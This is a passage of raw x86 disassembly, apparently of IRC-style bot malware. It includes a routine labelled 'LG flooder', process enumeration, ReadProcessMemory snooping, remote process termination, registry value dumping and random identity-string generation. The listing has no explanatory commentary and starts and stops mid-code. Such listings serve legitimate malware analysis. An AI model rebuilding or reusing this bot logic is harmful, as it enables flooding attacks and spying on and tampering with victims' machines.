dword_41709C ; Sleep mov eax, [ebp+var_1334] cmp dword ptr [eax+4], 0 jz short loc_405E22 jmp short loc_405E27 ; --------------------------------------------------------------------------- loc_405E22: ; CODE XREF: sub_4055E5+839j jmp loc_4057A9 ; --------------------------------------------------------------------------- loc_405E27: ; CODE XREF: sub_4055E5+1DDj ; sub_4055E5+83Bj push [ebp+var_1078] call sub_4053B1 pop ecx push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax locret_405E41: ; CODE XREF: sub_4055E5+59j ; sub_4055E5+94j ... leave retn 4 sub_4055E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405E45 proc near ; CODE XREF: sub_40A9CF+8B2p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_4], 0 jz short loc_405E5D cmp [ebp+arg_8], 0 jz short loc_405E5D cmp [ebp+arg_14], 0 jnz short loc_405E62 loc_405E5D: ; CODE XREF: sub_405E45+Aj ; sub_405E45+10j jmp locret_405F65 ; --------------------------------------------------------------------------- loc_405E62: ; CODE XREF: sub_405E45+16j push 2B9h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_405E7B jmp locret_405F65 ; --------------------------------------------------------------------------- loc_405E7B: ; CODE XREF: sub_405E45+2Fj push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 1A7h push eax call sub_407A56 add esp, 0Ch push 6 push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 2A7h push eax call sub_407A56 add esp, 0Ch push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2ADh], eax push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2B1h], eax push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2B5h], eax mov eax, [ebp+var_4] cmp dword ptr [eax+2B1h], 0EA60h jge short loc_405F0E mov eax, [ebp+var_4] mov eax, [eax+2B1h] mov [ebp+var_8], eax jmp short loc_405F15 ; --------------------------------------------------------------------------- loc_405F0E: ; CODE XREF: sub_405E45+B9j mov [ebp+var_8], 0EA60h loc_405F15: ; CODE XREF: sub_405E45+C7j mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+2B1h], ecx mov eax, [ebp+var_4] cmp dword ptr [eax+2B1h], 64h jle short loc_405F3B mov eax, [ebp+var_4] mov eax, [eax+2B1h] mov [ebp+var_C], eax jmp short loc_405F42 ; --------------------------------------------------------------------------- loc_405F3B: ; CODE XREF: sub_405E45+E6j mov [ebp+var_C], 64h loc_405F42: ; CODE XREF: sub_405E45+F4j mov eax, [ebp+var_4] mov ecx, [ebp+var_C] mov [eax+2B1h], ecx push offset aLgFlooder ; "LG flooder" push 0 push [ebp+var_4] push offset sub_4055E5 call sub_4095A4 add esp, 10h locret_405F65: ; CODE XREF: sub_405E45:loc_405E5Dj ; sub_405E45+31j leave retn sub_405E45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F67 proc near ; CODE XREF: sub_4017AA+6Ep ; sub_401D6E+77p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_4], 0 jnz short loc_405F8E push 1A3h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_0] mov byte ptr [eax+198h], 1 jmp short loc_405FA1 ; --------------------------------------------------------------------------- loc_405F8E: ; CODE XREF: sub_405F67+7j push 1A3h push [ebp+arg_4] push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch loc_405FA1: ; CODE XREF: sub_405F67+25j pop ebp retn sub_405F67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405FA3 proc near ; CODE XREF: MEW:004168C1p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push offset dword_41E280 call sub_409C36 pop ecx push offset aPsapi_dll ; "psapi.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_405FC8 jmp short locret_40603F ; --------------------------------------------------------------------------- loc_405FC8: ; CODE XREF: sub_405FA3+21j push offset aEnumprocesses ; "EnumProcesses" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E27C, eax push offset aEnumprocessmod ; "EnumProcessModules" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E270, eax push offset aGetmodulefilen ; "GetModuleFileNameExA" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E274, eax push offset aGetmoduleinfor ; "GetModuleInformation" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E278, eax cmp dword_41E27C, 0 jz short locret_40603F cmp dword_41E270, 0 jz short locret_40603F cmp dword_41E274, 0 jz short locret_40603F cmp dword_41E278, 0 jz short locret_40603F mov byte_41E29C, 1 locret_40603F: ; CODE XREF: sub_405FA3+23j ; sub_405FA3+78j ... leave retn sub_405FA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406041 proc near ; CODE XREF: sub_401244:loc_40129Dp ; sub_40637C+29p var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_12B = byte ptr -12Bh var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 13Ch push esi push edi push offset dword_41E280 call sub_409C6C pop ecx movzx eax, byte_41E29C test eax, eax jnz short loc_406074 push offset dword_41E280 call sub_409C7A pop ecx xor eax, eax jmp loc_40636A ; --------------------------------------------------------------------------- loc_406074: ; CODE XREF: sub_406041+1Fj and [ebp+var_C], 0 and [ebp+var_4], 0 and [ebp+var_1C], 0 push [ebp+var_1C] call sub_416B46 ; malloc pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_406097 jmp loc_406368 ; --------------------------------------------------------------------------- loc_406097: ; CODE XREF: sub_406041+4Fj ; sub_406041:loc_4060E9j mov eax, [ebp+var_1C] add eax, 80h mov [ebp+var_1C], eax push [ebp+var_1C] push [ebp+var_14] call sub_416BF6 ; realloc pop ecx pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4060BD jmp loc_406366 ; --------------------------------------------------------------------------- loc_4060BD: ; CODE XREF: sub_406041+75j lea eax, [ebp+var_4] push eax push [ebp+var_1C] push [ebp+var_14] call dword_41E27C test eax, eax jnz short loc_4060DF push [ebp+var_14] call sub_416B4C ; free pop ecx jmp loc_406364 ; --------------------------------------------------------------------------- loc_4060DF: ; CODE XREF: sub_406041+8Ej mov eax, [ebp+var_4] cmp eax, [ebp+var_1C] jnb short loc_4060E9 jmp short loc_4060EB ; --------------------------------------------------------------------------- loc_4060E9: ; CODE XREF: sub_406041+A4j jmp short loc_406097 ; --------------------------------------------------------------------------- loc_4060EB: ; CODE XREF: sub_406041+A6j mov eax, [ebp+var_4] shr eax, 2 mov [ebp+var_8], eax mov eax, [ebp+var_8] imul eax, 114h add eax, 8 push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_40611E push [ebp+var_14] call sub_416B4C ; free pop ecx jmp loc_406362 ; --------------------------------------------------------------------------- loc_40611E: ; CODE XREF: sub_406041+CDj mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax], ecx mov eax, [ebp+var_C] add eax, 8 mov ecx, [ebp+var_C] mov [ecx+4], eax and [ebp+var_10], 0 jmp short loc_40613F ; --------------------------------------------------------------------------- loc_406138: ; CODE XREF: sub_406041+156j mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_40613F: ; CODE XREF: sub_406041+F5j mov eax, [ebp+var_10] cmp eax, [ebp+var_8] jnb short loc_406199 push 114h push 0 mov eax, [ebp+var_C] push dword ptr [eax+4] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_10] mov esi, [ebp+var_14] mov edx, [esi+edx*4] mov [ecx+eax], edx push offset aSystem ; "system" mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_406138 ; --------------------------------------------------------------------------- loc_406199: ; CODE XREF: sub_406041+104j push [ebp+var_14] call sub_416B4C ; free pop ecx and [ebp+var_10], 0 jmp short loc_4061AF ; --------------------------------------------------------------------------- loc_4061A8: ; CODE XREF: sub_406041+1A8j ; sub_406041+1D8j ... mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_4061AF: ; CODE XREF: sub_406041+165j mov eax, [ebp+var_10] cmp eax, [ebp+var_8] jnb loc_406343 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] push dword ptr [ecx+eax] push 0 push 410h call dword_417094 ; OpenProcess mov [ebp+var_130], eax cmp [ebp+var_130], 0 jnz short loc_4061EB jmp short loc_4061A8 ; --------------------------------------------------------------------------- loc_4061EB: ; CODE XREF: sub_406041+1A6j and [ebp+var_20], 0 and [ebp+var_28], 0 lea eax, [ebp+var_20] push eax push 4 lea eax, [ebp+var_28] push eax push [ebp+var_130] call dword_41E270 test eax, eax jnz short loc_40621B push [ebp+var_130] call dword_4170A4 ; CloseHandle jmp short loc_4061A8 ; --------------------------------------------------------------------------- loc_40621B: ; CODE XREF: sub_406041+1CAj push 0Ch lea eax, [ebp+var_13C] push eax push [ebp+var_28] push [ebp+var_130] call dword_41E278 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_13C] mov [ecx+eax+4], edx mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_138] mov [ecx+eax+8], edx mov al, byte_41DE00 mov [ebp+var_12C], al push 40h pop ecx xor eax, eax lea edi, [ebp+var_12B] rep stosd stosw stosb push 104h lea eax, [ebp+var_12C] push eax push [ebp+var_13C] push [ebp+var_130] call dword_41E274 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz loc_406332 movsx eax, [ebp+var_12C] test eax, eax jz short loc_406332 push 104h lea eax, [ebp+var_12C] push eax mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_416B58 ; strncpy add esp, 0Ch lea eax, [ebp+var_12C] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_18], eax jmp short loc_4062F7 ; --------------------------------------------------------------------------- loc_4062F0: ; CODE XREF: sub_406041:loc_406330j mov eax, [ebp+var_18] dec eax mov [ebp+var_18], eax loc_4062F7: ; CODE XREF: sub_406041+2ADj cmp [ebp+var_18], 0 jz short loc_406332 cmp [ebp+var_18], 1 ja short loc_406305 jmp short loc_406332 ; --------------------------------------------------------------------------- loc_406305: ; CODE XREF: sub_406041+2C0j mov eax, [ebp+var_18] movsx eax, byte ptr [ebp+eax+var_130+3] cmp eax, 5Ch jnz short loc_406330 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_18] mov [ecx+eax+110h], edx jmp short loc_406332 ; --------------------------------------------------------------------------- loc_406330: ; CODE XREF: sub_406041+2D2j jmp short loc_4062F0 ; --------------------------------------------------------------------------- loc_406332: ; CODE XREF: sub_406041+264j ; sub_406041+273j ... push [ebp+var_130] call dword_4170A4 ; CloseHandle jmp loc_4061A8 ; --------------------------------------------------------------------------- loc_406343: ; CODE XREF: sub_406041+174j push offset dword_41E280 call sub_409C7A pop ecx mov eax, [ebp+var_C] jmp short loc_40636A ; --------------------------------------------------------------------------- loc_406353: ; CODE XREF: sub_406041:loc_406362j ; sub_406041:loc_406364j ... push offset dword_41E280 call sub_409C7A pop ecx xor eax, eax jmp short loc_40636A ; --------------------------------------------------------------------------- loc_406362: ; CODE XREF: sub_406041+D8j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406364: ; CODE XREF: sub_406041+99j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406366: ; CODE XREF: sub_406041+77j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406368: ; CODE XREF: sub_406041+51j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_40636A: ; CODE XREF: sub_406041+2Ej ; sub_406041+310j ... pop edi pop esi leave retn sub_406041 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40636E proc near ; CODE XREF: sub_401244+4D2p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_416B4C ; free pop ecx pop ebp retn sub_40636E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40637C proc near ; DATA XREF: sub_4064BF+3Bo var_1B0 = dword ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = dword ptr -1A8h var_1A4 = byte ptr -1A4h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1A8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx call sub_406041 mov [ebp+var_1AC], eax cmp [ebp+var_1AC], 0 jz loc_4064AD mov eax, [ebp+var_1AC] push dword ptr [eax] mov eax, [ebp+var_1A8] push dword ptr [eax] push offset dword_418B1C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h and [ebp+var_1B0], 0 jmp short loc_4063F7 ; --------------------------------------------------------------------------- loc_4063EA: ; CODE XREF: sub_40637C:loc_40649Cj mov eax, [ebp+var_1B0] inc eax mov [ebp+var_1B0], eax loc_4063F7: ; CODE XREF: sub_40637C+6Cj mov eax, [ebp+var_1AC] mov ecx, [ebp+var_1B0] cmp ecx, [eax] jge loc_4064A1 push 3E8h call dword_41709C ; Sleep mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] push dword ptr [ecx+eax+8] mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] push dword ptr [ecx+eax+4] mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] push dword ptr [ecx+eax] push offset dword_418B04 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 18h mov eax, [ebp+var_1A8] cmp dword ptr [eax+4], 0 jz short loc_40649C jmp short loc_4064A1 ; --------------------------------------------------------------------------- loc_40649C: ; CODE XREF: sub_40637C+11Cj jmp loc_4063EA ; --------------------------------------------------------------------------- loc_4064A1: ; CODE XREF: sub_40637C+89j ; sub_40637C+11Ej push [ebp+var_1AC] call sub_416B4C ; free pop ecx loc_4064AD: ; CODE XREF: sub_40637C+3Bj push [ebp+var_1A8] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_40637C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4064BF proc near ; CODE XREF: sub_40A9CF+3FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4064D9 jmp short locret_406507 ; --------------------------------------------------------------------------- loc_4064D9: ; CODE XREF: sub_4064BF+16j push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B52 ; memcpy add esp, 0Ch push offset dword_418B44 push 0 push [ebp+var_4] push offset sub_40637C call sub_4095A4 add esp, 10h locret_406507: ; CODE XREF: sub_4064BF+18j leave retn sub_4064BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406509 proc near ; CODE XREF: sub_40A9CF+9C9p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h cmp [ebp+arg_4], 0 jz short loc_40651B cmp [ebp+arg_C], 0 jnz short loc_406520 loc_40651B: ; CODE XREF: sub_406509+Aj jmp locret_406641 ; --------------------------------------------------------------------------- loc_406520: ; CODE XREF: sub_406509+10j push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax push [ebp+arg_8] call sub_40A8AD pop ecx mov [ebp+var_C], eax push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 180h jbe short loc_406554 mov [ebp+var_4], 180h loc_406554: ; CODE XREF: sub_406509+42j mov eax, [ebp+var_4] inc eax push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_1C], eax push [ebp+var_8] push 0 push 10h call dword_417094 ; OpenProcess mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_406586 push [ebp+var_1C] call sub_416B4C ; free pop ecx jmp locret_406641 ; --------------------------------------------------------------------------- loc_406586: ; CODE XREF: sub_406509+6Dj and [ebp+var_14], 0 lea eax, [ebp+var_14] push eax push [ebp+var_4] push [ebp+var_1C] push [ebp+var_C] push [ebp+var_18] call dword_417098 ; ReadProcessMemory mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz loc_40662F cmp [ebp+var_14], 0 jz short loc_40662F mov eax, [ebp+var_1C] add eax, [ebp+var_4] and byte ptr [eax], 0 and [ebp+var_20], 0 jmp short loc_4065C9 ; --------------------------------------------------------------------------- loc_4065C2: ; CODE XREF: sub_406509:loc_406620j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_4065C9: ; CODE XREF: sub_406509+B7j mov eax, [ebp+var_20] cmp eax, [ebp+var_14] jnb short loc_406622 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 1Fh jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 16h jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 10h jg short loc_406620 loc_406617: ; CODE XREF: sub_406509+D4j ; sub_406509+E2j ... mov eax, [ebp+var_1C] add eax, [ebp+var_20] mov byte ptr [eax], 2Eh loc_406620: ; CODE XREF: sub_406509+10Cj jmp short loc_4065C2 ; --------------------------------------------------------------------------- loc_406622: ; CODE XREF: sub_406509+C6j push [ebp+var_1C] push [ebp+arg_0] call sub_40D53F pop ecx pop ecx loc_40662F: ; CODE XREF: sub_406509+9Ej ; sub_406509+A8j push [ebp+var_1C] call sub_416B4C ; free pop ecx push [ebp+var_18] call dword_4170A4 ; CloseHandle locret_406641: ; CODE XREF: sub_406509:loc_40651Bj ; sub_406509+78j leave retn sub_406509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406643 proc near ; CODE XREF: sub_40A9CF+3D7p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jnz short loc_406650 jmp short locret_40668D ; --------------------------------------------------------------------------- loc_406650: ; CODE XREF: sub_406643+9j push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax call dword_4170E8 ; GetCurrentProcessId cmp [ebp+var_4], eax jnz short loc_406669 jmp short locret_40668D ; --------------------------------------------------------------------------- loc_406669: ; CODE XREF: sub_406643+22j push [ebp+var_4] push 0 push 1 call dword_417094 ; OpenProcess mov [ebp+var_8], eax push 0 push [ebp+var_8] call dword_4170A0 ; TerminateProcess push [ebp+var_8] call dword_4170A4 ; CloseHandle locret_40668D: ; CODE XREF: sub_406643+Bj ; sub_406643+24j leave retn sub_406643 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40668F proc near ; CODE XREF: sub_403DF3+149p ; sub_40A9CF+BDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_4066A0 ; --------------------------------------------------------------------------- loc_406699: ; CODE XREF: sub_40668F+2Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066A0: ; CODE XREF: sub_40668F+8j cmp [ebp+var_4], 8 jge short loc_4066BB push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_406699 ; --------------------------------------------------------------------------- loc_4066BB: ; CODE XREF: sub_40668F+15j mov eax, [ebp+arg_0] and byte ptr [eax+8], 0 and [ebp+var_4], 0 jmp short loc_4066CF ; --------------------------------------------------------------------------- loc_4066C8: ; CODE XREF: sub_40668F+59j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066CF: ; CODE XREF: sub_40668F+37j cmp [ebp+var_4], 6 jge short loc_4066EA push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4066C8 ; --------------------------------------------------------------------------- loc_4066EA: ; CODE XREF: sub_40668F+44j mov eax, [ebp+arg_4] and byte ptr [eax+6], 0 and [ebp+var_4], 0 jmp short loc_4066FE ; --------------------------------------------------------------------------- loc_4066F7: ; CODE XREF: sub_40668F+88j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066FE: ; CODE XREF: sub_40668F+66j cmp [ebp+var_4], 10h jge short loc_406719 push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_8] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4066F7 ; --------------------------------------------------------------------------- loc_406719: ; CODE XREF: sub_40668F+73j mov eax, [ebp+arg_8] and byte ptr [eax+10h], 0 leave retn sub_40668F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406722 proc near ; CODE XREF: sub_40A9CF+F40p var_424 = byte ptr -424h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = byte ptr -20Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 424h cmp [ebp+arg_4], 0 jnz short loc_406736 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406736: ; CODE XREF: sub_406722+Dj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+4] cmp eax, 5Ch jz short loc_406747 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406747: ; CODE XREF: sub_406722+1Ej push 4 push offset aHkcr ; "HKCR" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_406769 mov [ebp+var_218], 80000000h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_406769: ; CODE XREF: sub_406722+39j push 4 push offset aHkcu ; "HKCU" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40678B mov [ebp+var_218], 80000001h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_40678B: ; CODE XREF: sub_406722+5Bj push 4 push offset aHklm ; "HKLM" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_4067AD mov [ebp+var_218], 80000002h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_4067AD: ; CODE XREF: sub_406722+7Dj push 4 push offset aHkus ; "HKUS" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_4067CF mov [ebp+var_218], 80000003h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_4067CF: ; CODE XREF: sub_406722+9Fj jmp locret_406A21 ; --------------------------------------------------------------------------- loc_4067D4: ; CODE XREF: sub_406722+45j ; sub_406722+67j ... mov eax, [ebp+arg_4] add eax, 5 mov [ebp+arg_4], eax push [ebp+arg_4] call sub_416B40 ; strlen pop ecx mov [ebp+var_210], eax jmp short loc_4067FB ; --------------------------------------------------------------------------- loc_4067EE: ; CODE XREF: sub_406722:loc_406858j mov eax, [ebp+var_210] dec eax mov [ebp+var_210], eax loc_4067FB: ; CODE XREF: sub_406722+CAj cmp [ebp+var_210], 0 jnz short loc_406809 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406809: ; CODE XREF: sub_406722+E0j mov eax, [ebp+arg_4] add eax, [ebp+var_210] movsx eax, byte ptr [eax] cmp eax, 5Ch jnz short loc_406858 mov eax, [ebp+var_210] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] push eax call sub_416B40 ; strlen pop ecx cmp eax, 200h jb short loc_40683A jmp locret_406A21 ; --------------------------------------------------------------------------- loc_40683A: ; CODE XREF: sub_406722+111j mov eax, [ebp+var_210] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] push eax lea eax, [ebp+var_20C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40685A ; --------------------------------------------------------------------------- loc_406858: ; CODE XREF: sub_406722+F6j jmp short loc_4067EE ; --------------------------------------------------------------------------- loc_40685A: ; CODE XREF: sub_406722+134j cmp [ebp+var_210], 200h jb short loc_40686B jmp locret_406A21 ; --------------------------------------------------------------------------- loc_40686B: ; CODE XREF: sub_406722+142j push [ebp+var_210] push [ebp+arg_4] lea eax, [ebp+var_418] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_210] and [ebp+eax+var_418], 0 lea eax, [ebp+var_C] push eax push 1 push 0 lea eax, [ebp+var_418] push eax push [ebp+var_218] call dword_417008 ; RegOpenKeyExA test eax, eax jz short loc_4068B5 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_4068B5: ; CODE XREF: sub_406722+18Cj mov [ebp+var_8], 1000h push [ebp+var_8] call sub_416B46 ; malloc pop ecx mov [ebp+var_214], eax lea eax, [ebp+var_8] push eax push [ebp+var_214] lea eax, [ebp+var_4] push eax push 0 lea eax, [ebp+var_20C] push eax push [ebp+var_C] call dword_41700C ; RegQueryValueExA test eax, eax jnz loc_406A0C cmp [ebp+var_4], 1 jz short loc_4068FF cmp [ebp+var_4], 2 jnz short loc_406915 loc_4068FF: ; CODE XREF: sub_406722+1D5j push [ebp+var_214] push offset dword_418B64 push [ebp+arg_0] call sub_40D53F add esp, 0Ch loc_406915: ; CODE XREF: sub_406722+1DBj cmp [ebp+var_4], 4 jnz short loc_406933 mov eax, [ebp+var_214] push dword ptr [eax] push offset dword_418B5C push [ebp+arg_0] call sub_40D53F add esp, 0Ch loc_406933: ; CODE XREF: sub_406722+1F7j cmp [ebp+var_4], 3 jnz loc_406A0C push 180h call sub_416B46 ; malloc pop ecx mov [ebp+var_420], eax mov eax, [ebp+var_420] and byte ptr [eax], 0 and [ebp+var_41C], 0 jmp short loc_40696D ; --------------------------------------------------------------------------- loc_406960: ; CODE XREF: sub_406722+2C3j mov eax, [ebp+var_41C] inc eax mov [ebp+var_41C], eax loc_40696D: ; CODE XREF: sub_406722+23Cj mov eax, [ebp+var_41C] cmp eax, [ebp+var_8] jnb short loc_4069EA mov eax, [ebp+var_214] add eax, [ebp+var_41C] movzx eax, byte ptr [eax] push eax push offset dword_418B54 lea eax, [ebp+var_424] push eax call sub_416B5E ; sprintf add esp, 0Ch push [ebp+var_420] call sub_416B40 ; strlen pop ecx add eax, 3 cmp eax, 180h jb short loc_4069D1 push [ebp+var_420] push offset dword_418B64 push [ebp+arg_0] call sub_40D53F add esp, 0Ch mov eax, [ebp+var_420] and byte ptr [eax], 0 loc_4069D1: ; CODE XREF: sub_406722+28Ej lea eax, [ebp+var_424] push eax push [ebp+var_420] call sub_416B70 ; _mbscat pop ecx pop ecx jmp loc_406960 ; --------------------------------------------------------------------------- loc_4069EA: ; CODE XREF: sub_406722+254j push [ebp+var_420] push offset dword_418B64 push [ebp+arg_0] call sub_40D53F add esp, 0Ch push [ebp+var_420] call sub_416B4C ; free pop ecx loc_406A0C: ; CODE XREF: sub_406722+1CBj ; sub_406722+215j push [ebp+var_214] call sub_416B4C ; free pop ecx push [ebp+var_C] call dword_417028 ; RegCloseKey locret_406A21: ; CODE XREF: sub_406722+Fj ; sub_406722+20j ... leave retn sub_406722 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A23 proc near ; CODE XREF: sub_40D043:loc_40D18Dp ; sub_40D871:loc_40DB71p 